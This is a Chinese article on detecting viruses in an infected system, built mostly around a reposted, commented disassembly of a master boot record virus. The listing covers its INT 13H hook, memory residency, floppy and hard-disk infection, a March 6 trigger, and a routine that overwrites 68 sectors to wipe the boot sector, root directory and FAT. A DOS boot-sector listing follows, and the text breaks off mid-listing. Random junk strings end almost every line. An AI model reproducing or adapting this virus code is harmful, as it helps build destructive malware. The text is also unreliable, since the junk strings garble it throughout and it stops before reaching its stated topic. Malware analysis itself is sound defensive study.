近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。 ph|ZG6:
?? W Qzj[
?? 一 、 带毒环境下检测清除病毒的意义 ZC4*{
?? #Hh^3N
?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。 W*:,m8wk
?? {8EW)4Hf
?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。 0l#)fJo
?? !b-bP,q
?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。 NOK/<_/
?? Dli^2hD
?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。 )g@S%Yu
??
5q<zN
?? 二 、带毒环境下检测清除病毒的原理
XfzVcap
?? qy!Ou3^
?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。 hc$@J}`
?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。 ql&*6KZ"
tNmy&
nsA
oXt,e
举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister " 68'>Zbelb
病毒体: Qc{RaMwD
JMP 01AF ;JMP到01AF MuEy>dl
DB 00 ;病毒标计 '!Kf#@';u
DW 00F5 ;此为搬到高位址后,远程跳转指令 r\9TMg`C
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX |\uYv|sT
DB 02 dYojm1MQ
DW 0003 ;此为软盘识别标记,硬盘为0007 Q7o5R{.oJ
DW EC59 ; i(wgB\9i4
DW F000 ;INT 13H的原入口 :H[\;Z1_
. 9f}XRz
. =OV2 uq
. :Px\qh}K
. 6j8<Q 2
. 4DO/rtkVq
XOR AX,AX ;清除AX bYh9sO/l
MOV DS,AX; ;让DS=0000 g42R 'E%
CLI ;清I标志积存器 {R&ZqEo'D
MOV SS,AX ;把堆栈设为0000:7C00也就是开机 a%J6f$A#
MOV AX,7C00 ;后载入引导分区表的地址,目前地址 z]$j7 dp
MOV SP,AX ;开机时为0000:7CB6 $
A-b vL
STI ;设I标志积存器 U06o;s(
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A ZAg;q#z j
PUSH AX ;用RETF,把程序转到引导或分区表位置 m<3v)R[>
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 76#.F
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 <3 j~=-
MOV AX,[004E] ;取INT 13H的段地址 VZA3IbK}
MOV [7C0C],AX ;存到010C 0v"&G<J
;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 h[ 6hM^n
;读写以便传播发作 j[S`^2
{.#zHL
;
MOV AX,[0413] ;取得内存K数,放在AX ":d*dl
DEC AX ; udT xNl!
DEC AX ;减2k内存 g^o_\hp
MOV [0413],AX ;存回,通常是638K 5FuK \y
MOV CL,06 ; !J.rM5K
SHL AX,CL ; $M]%vG
MOV ES,AX ;算出减2K后病毒本体的位址 cq^sq1A:
MOV [7C05],AX ;AX存入0105 "jU
.9\Cy4_qSd
;病毒常用手法将系统高段内存减少以便驻留 &?$\Y,{
;这样可以免于被其他程序覆盖 ehc<|O9tY
)Ul&1UYA
MOV AX,000E ;病毒拦INT 13H oa9)Dv
;ISR起始的偏移量 5|WOBOh>`&
MOV [004C],AX ; (
ji_o^
MOV [004E],ES ;设原为病毒的INT 13H pa]
TeH
MOV CX,01BE ;病毒长度为1BE 7L{li-crI
MOV SI,7C00 ;从JMP 01AF开始 712=rUI%!
XOR DI,DI ;DI=0 @bQ!zCI
CLD ;清方向标志 E2yz=7sv5
REPZ; d x359
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 *#ompm
CS: ;分区表能载入0000:7C00正常运作 5~yb
~0
JMP FAR [7C03] ;跳到为搬过后的位址 x[m'FsR4
XOR AX,AX ;清AX DM/hcY$MW
MOV ES,AX ;ES=0000 ],V
kp
INT 13 ;复位磁盘
'O1.6*K
PUSH CS ; )%|r>{
POP DS ;让DS=CS u-/3(dKt
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 F9D"kG;Dk
MOV BX,7C00 ;读到0000:7C00 (j`l5r#X#/
MOV CX,[0008] ;硬盘第0道,第7扇区 &(\@sxAyZ
CMP CX,+07 ;比较是否从硬盘启动 s#Q_Gu
JNZ 0213 ;不是跳0213 ?lG;,,jc,W
MOV DX,0080 ;第一硬盘C:第零面 y%g`FC
INT 13 ;用INT 13号中断,读 n1`T#%e
JMP 023E ;跳023E比较日期,发作或正常开机 g&aT!%QvX+
MOV CX,[0008] ;软盘0道,第3扇区 e6es0D[>5
MOV DX,0100 ;A:的第0面 { ;' :h
INT 13 ;INT 13读盘
`QAh5r"
JB 023E ;失败跳023E B#H2RTc
PUSH CS 0kz7 >v
POPES ;让ES=CS =tP$re";o
MOV AX,0201 ; G32_FQ$b
MOV BX,0200 ; cl#OvQ
MOV CX,0001 ; S&`O\!NF
MOV DX,0080 ; K/A ? ]y
INT 13 ;读入C:的分区表到0200,以便下面比较 %1@.7uTN
JB 023E ;失败跳023E up7x)w:
XOR SI,SI ;清SI m4\g o
CLD ;清方向标志以便比较 A&?WP\_z
LODSW ;载入一个WORD到AX K;kLQ2)
CMP AX,[BX] ;比较有无病毒存在..E9AC i!ds {`d
JNZ 0287 ;没有则跳0287传染 T7X!#j"\
LODSW ;载入一个WORD到AX iPJ9Gh7
CMP AX,[BX+02] ;再次确认..0000 \c'%4Ao
JNZ 0287 ;没有跳0287 -<12~HKK::
XOR CX,CX ;清CX 6;[1Jz]?i
MOV AH,04 ; [j1^$n 8V
INT 1A ;取得日期 y>&VtN{E
CMP DX,0306 ;是否为三月六日 (O<abB(
JZ 024B ;是跳024B传染 nEuct4BcL}
RETF ;把程序交还给引导启动完成 s:G[Em1
AIf[W">\
步骤4:病毒INT 13代码分析 Y#.6d
方法:U -y9Pn>~V
PUSH DS ;首先把要用到积存器 kkG_ +Y
PUSH AX ;入栈保存 W=(MsuirO
OR DL,DL ;比较是否为软盘 |^\Hv5
JNZ 002F ;如不是则退出传染 KX$qM g1j
XOR AX,AX ;AX=0 WCWSLEAza
MOV DS,AX ;数据代段=0 oa?!50d
TEST BYTE PTR [043F],01 ;比较是否为A盘 [k}dES#
JNZ 002F ;不是则退出 [Ja(ArO3|[
POP AX ;将以上保存积存器 |A2W8b
{]
POP DS ;弹栈恢复 lsN/$M|}
PUSHF ;压栈标志积存器 :tg@HyY)
CS: ;以便执行原INT 13 P((S2"D<4
CALL FAR [000A] ;执行原INT 13 1NB2y[
PUSHF ;再次压栈 k,yc>3P;U
CALL 0036 ;以便跳转到传染程序 7Q<Kha
POPF ;跳转到执行传染 5?S{W
RETF 0002 ;结束中断调用返回 m[//_TFf]
POP AX ;恢复 8b8e^\l(
POP DS ;堆栈 >}xAg7\^
CS: ;跳转到原正常INT 13 A?^A*e
JMP FAR [000A] ;地址执行
o9DYr[
f]{1ZU%4
;此段代码中展现了病毒常用手法,利用标志积存器做跳转 a)YJ4\Qg[
.eZPp~[lAN
步骤5:传染过程分析 YqK+F=0
方法:U 5e~ j
对软盘传染过程: q!ulE{ ^
PUSH AX ;工
<Hq6]\<
PUSH BX ;作 tU-#pB>H
PUSH CX ;寄 \#IJ=+z
PUSH DX ;存 t1*BWY
PUSH DS ;器 %B*<BgJ;4F
PUSH ES ;入 :G6 xJlE|
PUSH SI ;栈 y^0HCp{
PUSH DI ;保存 ?Oe_}
jv;
PUSH CS ;以压/弹栈方式 E.WNykF-
POP DS ;使数据段DS和 i`ZHjW~`
PUSH CS ;附加段ES均指向 ly[\mGr
POP ES ;代码段CS {d*qlztO
MOV SI,0004 ;试4次 5Xq.=/eX
MOV AX,0201 ;设置各 4jq`No_
MOV BX,0200 ;积存器 0k .#
MOV CX,0001 ;为读软盘 `% #zMS
XOR DX,DX ;引导扇区做准备 ouu-wQ|(mM
PUSHF ;压栈标志积存器 7><*
9iOW
CALL FAR [000A] ;正常的INT 13调用 d=.n|rS4
W
JNB 0063 ;成功则转判断 P_^|KEz
XOR AX,AX ;不成功复位
?fqkM
PUSHF ;磁盘继续读 o0-fUCmC
CALL FAR [000A] ;如果4次 nEZ-h7lzl(
DEC SI ;均匀不成功 Pv/%s) &y&
JNZ 0045 ;则退出跳转 b'Piymx
JMP 00A6 ;退出传染 zd*W5~xKg
XOR SI,SI ;SI=0以便用 <*~BG)b
CLD ;LODSW读入软盘 oto
wvm
LODSW ;第1或第2字进行比较 E-7a`S
CMP AX,[BX] ;比较如果不包含病毒标志 0W<nE[U
JNZ 0071 ;则跳转写传染 <or>bo^
LODSW ;如果已有标志 nw]e_sm
CMP AX,[BX+02] ;则退出 GmEJ,%A
JZ 00A6 ;传染子程序 #u]_7/(</`
MOV AX,0301 ;为写盘准备 eiNk]KXAYX
MOV DH,01 ;如果是360K 4.Jaw+
MOV CL,03 ;则写到1面0道3扇区 (VF4FC
CMP BYTE PTR [BX+15],FD ;比较软盘 19YJ`(L`x
JZ 0080 ;如果大于360K #k|g9`
MOV CL,0E ;写到1面0道14扇区 "YdDaj</
MOV [0008],CX ;写病毒标志到软盘 -+S~1`0
PUSHF ;调用原INT 13 Ws}kb@5
CALL FAR [000A] ;进行传染 b\e)PUm#u@
JB 00A6 xa%ktn
MOV SI,03BE ;以下是将正常 si"mM>e
MOV DI,01BE ;引导扇区从 /w0v5X7
MOV CX,0021 ;1BE起的21字节内容 J1v0
\
CLD ;搬移到病毒程序尾部 1SJHX1CxX
REPZ ;开始复制 I!i#=
MOVSW q0KXuMK
MOV AX,0301 ;写盘功能调用,写一个扇区 DoPF/m}
XOR BX,BX ;将病毒程序 %imBGh
MOV CX,0001 ;写入软盘引导扇区内 eMPQ|
W
XOR DX,DX ;设置为软盘 W U4vb
PUSHF +/UXy2VRt$
CALL FAR [000A] ;执行正常INT 13调用写盘 N~K)0RETn
POP DI ;将 i!+3uHWu`)
POP SI ;工 R.WsC bU
POP ES ;作 _F$t#.o
POP DS ;寄 *U^\Mwp
POP DX ;存 -L'`d
POP CX ;器 dmMr8-w
POP BX ;退 i(cb&;Xx:A
POP AX ;栈 \oZUG
RET ;返回调用处 Vh[o[ U
对硬盘传染过程: j
&[WE7wf
MOV CX,0007 ;第7扇区 nJ0eZBgB]
MOV [0008],CX ;此处为硬盘引导标记 X]^E:'E!
MOV AX,301 ;写功能调用 e.Q K%
MOV DX,0080 ;设置为硬盘 DP'Dg /D
INT 13 ;将正常引导扇区写到0面0道7扇区内 PC(iqL8r
JB 13E ;失败则转 iI Nu`>I
MOV SI,03BE ;原分区表地址 t>|N4o
MOV DI,01BE ;目标地址 YH+\rb_
MOV CX,0021 ;整个分区表 C-b% PgA
REPNZ dcTM02kEh
MOVSW ;开始复制 tJF~Xv2L!
;此段代码是将硬盘分区信息,搬移到病毒程序尾部 2bG4,M
;这样在分析着查看硬盘分区信息时仍能看到该部分 W[Ew6)1T
;内容,以次来麻痹分析者 W%Nu]9T
MOV AX,0301 ;准备写病毒提进硬盘 >nW}zkfn
XOR BX,BX ;病毒体位置 !U~#H_
INC CL ;第一扇区 'oeg[
INT 13 ;开始写盘传染 kvVz-PJy
JMP 013E ;转到13E处判断是否为3月6日,是则发作 zZ0V6T}
6f9<&dCK
步骤6:破坏过程分析 6@*;Wk~
方法:U v2=!*
主要分析对硬盘数据破坏: ?D 9#dGK
. 6uE1&-:L
. dC|#l?P
. q@Yt`$VTN
. `V2j[Fz
. 'Mhdw}
MOV DL,80 wmCV%g\.d:
MOV BYTE PTR[0007],04 ewPd hCK
;准备写硬盘 . pEeR
MOV AL,11 ;写17个扇区 T eTOj|
MOV BX,5000 ,$ret@.H
MOV ES,BX ;从内存ES:5000中处开始写 1gK3=Ys
INT 13 ;残不人睹 Ywq+l]5/p
JNB 0179 ;成功转179继续写 c)YGwkY,,
XOR AH,AH aq| [g
INT 13 ;不成功复位磁盘继续 ##ea-"m8
INC DH ;使写操作磁头加1继续? Y]0y
-H
CMP DH,[0007] ;比较是否小于0007单元值 yk6UuI^/
JB 0150 ;是则返回开始处继续写 'ZgW~G]S
XOR DH,DH ;DH=0 zszx@`/3
INC CH ;再加扇区 t[ocp;Q
JMP 0150 ;反回继续写 9f[[%80
;以上操作实际上是对硬盘执行4次写操作,每次17个扇区 pg`;)@
;共68个扇区,这样就完全破坏了盘中的引导扇区,根目录 2Yjysn
;和文件分配表。 CrQ&-!Eh
ADUI@#vk
引导扇区病毒,俺手里没有,这是一段DOS BOOT的分析。BOOT区病毒和他完成同样的工作,只不过每次 zXPj7K*
读盘的时将自身写入磁盘。 [cs8/Q8+
引导过程如下: 3goJ(XI
1>调整堆栈位置 <xNM@!'\h
2>修改并用修改后的磁盘参数表来复位磁盘系统 5-po>1g'
3>计算根目录表的首扇区的位置及IO.SYS的扇区位置 N Uml"
4>读入根目录表的首扇区 EmoU7iy
5>检查根目录表的开头两项是否为IO.SYS及MSDOS.SYS j"=jK^
6>将IO.SYS文件开头三个扇区读入内存0000:0700H处 He23<hd!
7>跳到0000:0700H处执行IO.SYS,引导完毕 8{e 3
003E FA CLI _9
O'
003F 33C0 XOR AX,AX ] 6B!eB
!
0041 8ED0 MOV SS,AX AtYYu
0041 8ED0 MOV SS,AX Y>~zt -
0043 BC007C MOV SP,7C00 ; 初始化堆栈 :AGQkJb
0046 16 PUSH SS E/ )+hK&
0047 07 POP ES ;(ES)=0000H 8r,%! 70
0048 BB7800 MOV BX,0078 ;1EH 号中断向量的地址为0000:0078H KgSxF#
004B 36 SS: ;(SS)=0000H je%12DM
004C C537 LDS SI,[BX] ;取1EH号中断向量的内容存入DS:SI {`
004E 1E PUSH DS ;该中断向量指向一个11字节的磁盘参数表 31Du@h8YX
004F 56 PUSH SI ;取到后压入堆栈中保存 4(IP
0050 16 PUSH SS -lEh}r
0051 53 PUSH BX ;保存地址0000:0078H SQx):L)P6
0052 BF3E7C MOV DI,7C3E ;7C3E-7C00=003EH,即偏移003EH,以下类推 ?K#$81;[
0055 B90B00 MOV CX,000B ;磁盘参数表共11字节 ;hDr+&J|
0058 FC CLD &[pwLYf7
0059 F3 REPZ t]XJq
005A A4 MOVSB ;将磁盘参数表复制到0000:7C3EH处 cxdM!L; `
005B 06 PUSH ES #YdU,y=B
005C 1F POP DS ;(DS)=0000H #Xly5J
005D C645FE0F MOV BYTE PTR [DI-02],0F ;修改参数表中"磁头定位时间" M?lr#}d
0061 8B0E187C MOV CX,[7C18] ;从BPB中取"每磁道扇区数" fOAb?:D
0065 884DF9 MOV [DI-07],CL ;修改参数表中"每磁道扇区数" %4J?xhd
0068 894702 MOV [BX+02],AX ;(AX)=0000H,修改1EH号中断向量(段址) ^u{$$.&
006B C7073E7C MOV WORD PTR [BX],7C3E ;修改1EH号中断向量(偏移),这样1EH号 G=e[TR)i
006F FB STI ;中断向量的内容为0000:7C3EH,指向新的磁盘参数表 {\I\4P
0070 CD13 INT 13 ;用新的磁盘参数表来复位磁盘 vr$[
0072 7279 JB 00ED ;出错则转出错处理 l]gfT&
t)h3G M
; 下面一段程序计算扇区位置 zuw6YY8kQ
0074 33C0 XOR AX,AX &CgD smJo#
0076 3906137C CMP [7C13],AX ;偏移0013H处是Dos分区的总扇区数 vHmn)d1pl
007A 7408 JZ 0084 ;为零表示大硬盘? q=U=Y
n
007C 8B0E137C MOV CX,[7C13] ;不为0则取出来放到偏移0020H处 `fXcW)
0080 890E207C MOV [7C20],CX ;这个值本程序未用,似乎为IO.SYS准备的 Yhfk{ CI
0084 A0107C MOV AL,[7C10] ;取FAT表的个数 1ARIZ;H
0087 F726167C MUL WORD PTR [7C16] ;乘以一个FAT表所占的扇区数 n7vi@^lf(
008B 03061C7C ADD AX,[7C1C] ;加上Dos分区前的扇区数(隐藏扇数,低位) :v`o="
008F 13161E7C ADC DX,[7C1E] ; 高位 r.[k D"l
0093 03060E7C ADD AX,[7C0E] ;加上Dos分区内的保留扇区数(低位) MeC@+@C
0097 83D200 ADC DX,+00 ; (高位) zK v}J
009A A3507C MOV [7C50],AX ;根目录表的首扇的逻辑扇区号(低位) ~9=g" v
009D 8916527C MOV [7C52],DX ; (高位) :B
im`mHl
00A1 A3497C MOV [7C49],AX ;此处放IO.SYS的首扇的逻辑扇区号(低位) =x>KA*O1
00A4 89164B7C MOV [7C4B],DX ; (高位) 70@:!HI]
00A8 B82000 MOV AX,0020 ;根目录表中每项占32字节 >Uz3F7nHi
00AB F726117C MUL WORD PTR [7C11] ;乘以根目录表中的项数 p)`JVq,H/B
00AF 8B1E0B7C MOV BX,[7C0B] ;取"每扇区的字节数" j1)w1WY0@
00B3 03C3 ADD AX,BX ;这两条指令是为了取整 6;Bqu5_Cj
00B5 48 DEC AX @C#lA2(I4
00B6 F7F3 DIV BX ;除以每扇字节数,得到根目录所占扇区数 \O56!,k
00B8 0106497C ADD [7C49],AX ;得到根目录表后首扇的逻辑扇区号(低位) zrcSPh
00BC 83164B7C00 ADC WORD PTR [7C4B],+00 ; (高位) w5p+Yx=q
;下面一段程序在根目录表中找系统文件IO.SYS和MSDOS.SYS YC{od5a
00C1 BB0005 MOV BX,0500 ;内存缓冲区的偏移值 L]Uy+[gg
00C4 8B16527C MOV DX,[7C52] ;取根目录表的首扇的逻辑扇区号(高位) k2~j:&p
00C8 A1507C MOV AX,[7C50] ; (低位) CAk.2C/
00CB E89200 CALL 0160 ;将逻辑扇区号转换为物理扇区号 %j
yLRT]H
00CE 721D JB 00ED ;出错则转出错处理 Lq:Z='Kc
00D0 B001 MOV AL,01 @>?&Mw\c
00D2 E8AC00 CALL 0181 ;读一个扇区到内存(根目录的首扇) :7'anj
00D5 7216 JB 00ED ;出错处理 P69S[aqW
00D7 8BFB MOV DI,BX ;内存缓冲区的首址 "Mth<%i
00D9 B90B00 MOV CX,000B ;比较11个字节 Gmc0yRN
00DC BEE67D MOV SI,7DE6 ;偏移01E6处是串"IO SYS",长11字节 x@yF|8
00DF F3 REPZ D9h\=[%e
00E0 A6 CMPSB ;看第一项是否为IO.SYS )l^w _;
00E1 750A JNZ 00ED ;不是则出错 m6s32??m
00E3 8D7F20 LEA DI,[BX+20] ;跳过32字节就指向第二项 Y`%:hvy~
00E6 B90B00 MOV CX,000B ;比较11个字节 8@ b83
00E9 F3 REPZ JVRK\A|R
00EA A6 CMPSB ;看第二项是否为MSDOS.SYS !I@"+oY<
00EB 7418 JZ 0105 ;是则两个文件都已找到,跳过出错处理 \\_Qv
l78zS'
;下面一段进行出错处理 |VIBSty2d
00ED BE9E7D MOV SI,7D9E ;偏移019EH处是串"Non system disk..." R ~#\gMs
00F0 E85F00 CALL 0152 ;显示字符串 @X:P`?("^
00F3 33C0 XOR AX,AX 9k1n-po
00F5 CD16 INT 16 ;等待任一键按下 M^a QH/=:"
00F7 5E POP SI H13|bM<
00F8 1F POP DS ;得到1EH号中断向量的地址0000:0078H :*1bhk8~
00F9 8F04 POP [SI] : -OHD#>%
00FB 8F4402 POP [SI+02] ;恢复1EH号中断向量的内容 uGOvZO^v
00FE CD19 INT 19 ;自举 |+%K89W
0100 58 POP AX b2hB'!m
0101 58 POP AX fDf:Jec`[
0102 58 POP AX ;清理堆栈 k/Z}nz
0103 EBE8 JMP 00ED ;再次试图起动 !ce:S!P
El,p}Bi.
;下面读入IO.SYS的头3个扇区到内存0000:0700H处 T0i_X(_
0105 8B471A MOV AX,[BX+1A] ;从根目录表第一项中取IO.SYS的首簇号 t\X5B ]EZ
0108 48 DEC AX ):1NeJOFF
0109 48 DEC AX ;首簇号减二 :`25@<*u
010A 8A1E0D7C MOV BL,[7C0D] ;取每簇的扇区数 .xS}/^8iD
010E 32FF XOR BH,BH L"9,K8
0110 F7E3 MUL BX ;(首簇号 - 2)乘以 每簇的扇区数 )=#QTiJ
0112 0306497C ADD AX,[7C49] ;相加后得到IO.SYS的首扇的逻辑扇区号 5P [b/.n
0116 13164B7C ADC DX,[7C4B] J"# o #~
011A BB0007 MOV BX,0700 ;内存缓冲区的偏移值 1 %K^(J;
011D B90300 MOV CX,0003 ;循环计数初值,读3个扇区 x pT85D
0120 50 PUSH AX ;逻辑扇区号进栈(低位) ki48]#p
0121 52 PUSH DX ; (高位) D3N\$ D
0122 51 PUSH CX ;循环计数器进栈 -:&qNY:Vp
0123 E83A00 CALL 0160 ;逻辑扇区号转换为物理扇区号 VU 9w2/cM
0126 72D8 JB 0100 ;出错处理 C[gy{40}
0128 B001 MOV AL,01 WbB0{s
012A E85400 CALL 0181 ;读一个扇区到内存缓冲区 a~jM^b;VN
012D 59 POP CX ;循环计数出栈 L'M'I0"/
012E 5A POP DX 1*, f
012F 58 POP AX ;逻辑扇区号出栈 l*rli[No
0130 72BB JB 00ED ;读盘出错处理 =y.? =`"
0132 050100 ADD AX,0001
$ac
VJI?
0135 83D200 ADC DX,+00 ;下一个扇区 r&U